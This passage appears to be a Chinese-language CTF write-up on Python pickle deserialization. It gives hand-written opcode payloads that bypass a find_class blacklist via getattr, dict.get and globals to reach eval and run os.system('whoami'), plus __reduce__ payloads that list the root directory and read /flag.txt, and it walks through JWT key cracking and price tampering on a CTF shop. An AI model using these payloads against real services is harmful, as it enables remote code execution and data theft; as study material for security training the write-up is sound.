'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__':
True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>,
'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'WindowsError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError':
<class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>,....
我们现在有了字典 又有了get函数 我们就可以从builtins模块中任意获取了
import pickle
import pickletoolsopcode = b'''cbuiltins
getattr
(builtins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tR.'''
pickletools.dis(opcode)
print(pickle.loads(opcode))
'''
0: c GLOBAL 'builtins getattr'
18: ( MARK
19: c GLOBAL 'builtins dict'
34: S STRING 'get'
41: t TUPLE (MARK at 18)
42: R REDUCE
43: ( MARK
44: c GLOBAL 'builtins globals'
62: ) EMPTY_TUPLE
63: R REDUCE
64: S STRING '__builtins__'
80: t TUPLE (MARK at 43)
81: R REDUCE
82: . STOP
highest protocol among opcodes = 1
<module 'builtins' (built-in)>
'''
调用builtins中的eval函数
import pickle
opcode4=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR.'''
print(pickle.loads(opcode4))
#<built-in function eval>
最终 我们构造命令执行
import pickle
import io
import builtins
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
restricted_loads(opcode)
#可以成功执行whoami
以上的payload仅是一种方法 当我们想要绕过find_class
我们 可以先构造处沙箱逃逸的payload 然后 再根据payload构造opcode
当然 我们也可以用上面的pker来辅助我们生成opcode
在思路一种 我们通过了getattr(builtins,'eval') 来获取到了内置函数 eval getattr的第一个参数 builtins模块 是通过获取globals种的全局变量来获得的 也就是说 globals() 函数中有python中提前设置好的全局变量 包括我们import的各种模块 那么 我们是否 可以通过globals函数 来获取到pickle模块捏 在引入之后 可以看到在全局变量中 存在pickle模块
可以看到,globals()
函数中的全局变量,确实包含我们导入的官方或自定义的模块,那么我们就可以尝试导入使用pickle.loads()
来绕过find_class()
了。
不过值得注意的是,由于pickle.loads()
的参数需要为byte
类型。而在Protocol 0
中,对于byte类型并没有很好的支持,需要额外导入encode()函数,可能会导致无法绕过find_class
限制。
在第三版本之后 才引入了B和C字节码来操作byte类型
就是使用unicode编码
c__main__
secret
(V\u006bey #key
S'asd'
db.
c__main__
secret
(S'\x6bey' #key
S'asd'
db.
使用sys.modules[xxx]可以获取其全部属性 我们可以使用reversed将列表反序 然后使用next()指向关键词 从而输出
print(next(reversed(dir(sys.modules['secret']))))
我们将上面的代码使用opcode表示一下
(((c__main__
secret
i__builtins__
dir
i__builtins__
reversed
i__builtins__
next
.
上面在builtins讲的例子就是来源于这里 重新打一下
import pickle
import io
import builtins__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
只能从builtins中取且不能有上面的blacklist中的函数
那么 我们需要从其自带的builtins中 获取出我们的 命令执行函数
众所周知builtins中的getattr函数 可以获取属性
那么 我们尝试使用这个去获取一下eval呢
可以获取到构建好的eval 然后 我们需要获取到这个builtins的一级模块 我们直接使用pickle是获取不到的 我们看一下他的globals
其中是有builtins的 我们需要将其取出来
构造一个get
获取到get方法
然后这个绕过就串起来了
通过get获取builtins模块 获取builtins模块中的eval 从而进行命令执行
builtins.getattr(builtins.getattr(builtins.dict,"get")(builtins.globals(),"builtins"),'eval')("__import__('os').system('whoami')")
我们将其转换成opcode 如下
cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
成功绕过
同时也能执行命令
进入环境 需要寻找购买lv6
import requestsurl = "http://ip/shop?page="
for i in range (1,200):
r = requests.get(url+str(i))
if r.text.find('lv6.png') != -1:
print(i)
break
找到在181页
进入购买
购买需要admin权限 我们在cookie中发现jwt 解密发现user为asd
爆破密钥为1Kun 将user加密为admin
购买时将折扣值调为很小的值
发现源码
在admin中存在反序列化漏洞 会将结果渲染出来
import pickle
import commands
import urllibclass poc(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))
a=poc()
print(urllib.quote(pickle.dumps(a)))
import pickle
import urllibclass poc(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a=poc()
print(urllib.quote(pickle.dumps(a)))
https://goodapple.top/archives/1069
https://xz.aliyun.com/t/7436
https://tttang.com/archive/1782